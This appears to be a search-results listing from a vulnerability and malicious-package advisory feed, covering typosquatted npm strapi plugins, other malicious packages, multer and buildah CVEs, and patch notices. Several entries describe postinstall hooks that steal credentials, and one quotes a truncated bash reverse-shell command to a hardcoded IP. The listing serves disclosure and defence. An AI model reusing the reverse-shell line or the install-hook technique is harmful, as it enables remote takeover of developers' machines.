628981 matches found
Malicious Package
Overview tailwind-forms-styles is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...
Malicious Package
Overview strapi-plugin-plsresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...
ROOT-APP-NPM-AIKIDO-2025-10435 AIKIDO-2025-10435 in multer - Patched by Root
Root has patched AIKIDO-2025-10435 in the multer package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2025-48997 CVE-2025-48997 in multer - Patched by Root
Root has patched CVE-2025-48997 in the multer package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-AIKIDO-2025-10436 AIKIDO-2025-10436 in multer - Patched by Root
Root has patched AIKIDO-2025-10436 in the multer package for Root:npm. Multiple fixed versions available...
MAL-2026-16196 Malicious code in chai-as-crack (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 090c71f12df6d5441dce686e54fef42805f1afd6575d48bc0f6263dcf50b2f21 Package's main entry index.js unconditionally requires./lib/config at top level, causing the file to execute on any require'chai-as-crack'...
CVE-2026-79705
A flaw was found in the buildah/copier Go package. When used outside of Buildah by a non-root caller, a crafted tar archive containing malicious symlinks can escape the target extraction directory and create files outside the intended destination. Buildah itself uses chroot hardening and is not...
MAL-2026-16176 Malicious code in fulfillment-cuprum-auth-widget (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06df6767178d76043d26df04fcbe4e8de2f579d38e96f52a04346c04a6dda565 The package's preinstall script index.js runs automatically on npm install and collects host identifiers via os.hostname, os.userInfo, os.homedir, an...
MAL-2026-16192 Malicious code in strapi-plugin-weccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4a6e3de6177f265d44cf7317b020dbaed43907a0ed75b05ae0fe4eebaab469 The package's postinstall.js also declared as main executes automatically on npm install and performs bulk host reconnaissance and credential theft...
MAL-2026-16191 Malicious code in strapi-plugin-uicc-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d393f18bab3c8fe1d9bea2d425d24d385657785e23cc053ac5e2c1c322f75129 postinstall.js is registered as both the npm postinstall hook and the package main. On install it polls os.hostname every 3 seconds and, when the...
MAL-2026-16187 Malicious code in strapi-plugin-revsh-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes bas...
MAL-2026-16193 Malicious code in strapi-plugin-yayccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de07e63ac0a0d5b02ad74abd90d075d73e80cdfcc1bbfbdfcfbe56460354735a The package's postinstall lifecycle script node postinstall.js executes a bash reverse shell that connects to the hardcoded remote endpoint...
MAL-2026-16185 Malicious code in strapi-plugin-revs01-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via...
MAL-2026-16190 Malicious code in strapi-plugin-tryccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...
MAL-2026-16188 Malicious code in strapi-plugin-rs-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6293e711bb544c63fcc29178febb4100cee80f9cbd1060b3c3173445419a172c postinstall.js runs unconditionally during npm install via scripts.postinstall and executes a bash reverse shell that redirects an interactive shell'...
MAL-2026-16181 Malicious code in strapi-plugin-plsresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae27e46ab1160942d8d569f2237b9890a5f0a2cac36171ced091678c2a876c44 The package's postinstall lifecycle script runs a bash reverse shell that opens a TCP connection to the hardcoded host 14.225.210.85 on port 443 and...
CLSA-2026-1789484066 TuxCare security update for 14 packages (1 CVE)
TuxCare rebuilt 14 packages to address 1 CVE. Fixed in 14.2.35-tuxcare.9...
CLSA-2026-1789479340 TuxCare security update for 2 packages (2 CVEs)
TuxCare rebuilt 2 packages to address 2 CVEs. Fixed in 0.7.4-tuxcare.1...